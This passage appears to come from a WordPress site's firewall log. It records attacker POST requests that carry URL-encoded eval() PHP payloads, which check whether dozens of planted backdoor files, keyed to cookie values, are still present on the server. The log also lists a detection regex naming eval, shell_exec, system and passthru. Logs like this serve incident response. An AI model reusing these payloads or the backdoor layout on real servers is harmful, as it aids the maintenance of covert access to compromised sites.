/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img.php%22%3D%3E%22bd%40%40279403237%40%40899%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-dest:document\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:14223\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\n\ncmgIbF=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img.php%22%3D%3E%22bd%40%40279403237%40%40899%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-20 07:55:10","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EmiqkL:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/